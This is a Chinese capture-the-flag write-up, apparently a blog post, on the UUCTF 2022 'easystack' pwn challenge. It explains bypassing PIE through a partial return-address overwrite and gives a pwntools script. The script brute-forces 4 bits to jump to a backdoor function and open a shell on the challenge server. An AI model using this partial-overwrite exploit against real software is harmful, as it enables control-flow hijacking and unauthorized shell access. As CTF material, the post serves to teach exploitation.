【pwn】[UUCTF 2022 新生赛]easystack --pie爆破

查看程序保护

发现开了pie:

partial write(部分写入)就是一种利用PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP

简单来说就是后12位是不会被随机化的,接着看代码逻辑

发现有个后门的函数

可以getshell,但是问题是怎么溢出到这里,vuln函数的buf偏移是0x100,加上8个字节的覆盖rbp,那这个read函数只有2个字节可以利用,考虑低位绕过。看一下汇编

vuln函数:

main函数:

因为开了pie的缘故,导致后12位跟上图的一样,前面的字节全部随机化,我们现在可以将地址后12位覆盖成我们backdoor函数的偏移0x185,一个字节八位,我们还需要后面四位是什么,才能构造成16位(2个字节),后四位我们需要爆破

爆破脚本如下:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node5.anna.nssctf.cn",28309)

for num in range(15):

    io=remote("node5.anna.nssctf.cn",28309)

    io.recvuntil(b"What's your name?\n")

    num=num<<0xc   #左移12位,因为要爆破后四位

    payload=b'a'*0x100+b'a'*0x8+p16(0x185+num)

    io.send(payload)

    if b"You are born to pwn!" in io.recv():

        io.interactive()

    io.close()    

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值